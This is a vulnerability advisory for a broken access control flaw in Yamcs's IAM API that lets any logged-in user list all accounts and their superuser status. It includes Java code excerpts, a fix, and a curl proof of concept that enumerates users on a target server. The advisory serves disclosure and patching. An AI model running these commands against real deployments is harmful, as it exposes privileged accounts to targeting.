CVE-2026-44595: Yamcs: Unauthorized user enumeration via IAM API endpoints

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } }

Compare with properly protected endpoints:

java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts

Proof of Concept

bash Authenticate as any low-privilege user GET accesstoken curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "granttype=password&username=lowpriv&password=lowpriv123"

Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste accesstoken

Output (confirmed):

json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] }

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... }